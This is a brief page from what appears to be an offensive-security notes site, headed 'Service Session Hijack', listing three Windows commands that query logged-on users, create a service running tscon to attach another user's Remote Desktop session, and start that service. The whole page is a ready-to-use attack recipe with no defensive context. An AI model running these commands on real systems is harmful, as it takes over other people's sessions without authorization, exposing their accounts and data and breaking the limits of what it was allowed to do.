> For the complete documentation index, see [llms.txt](https://notes.ubg-hacking.team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.ubg-hacking.team/attacks/on-prem-windows/service-session-hijack.md).

# Service Session Hijack

```
C:\Users\Will>query user
C:\Users\Will>sc create hijack binpath= "cmd.exe /k tscon <sessionID> /dest <DSTid>"
C:\Users\Will>net start hijack
```
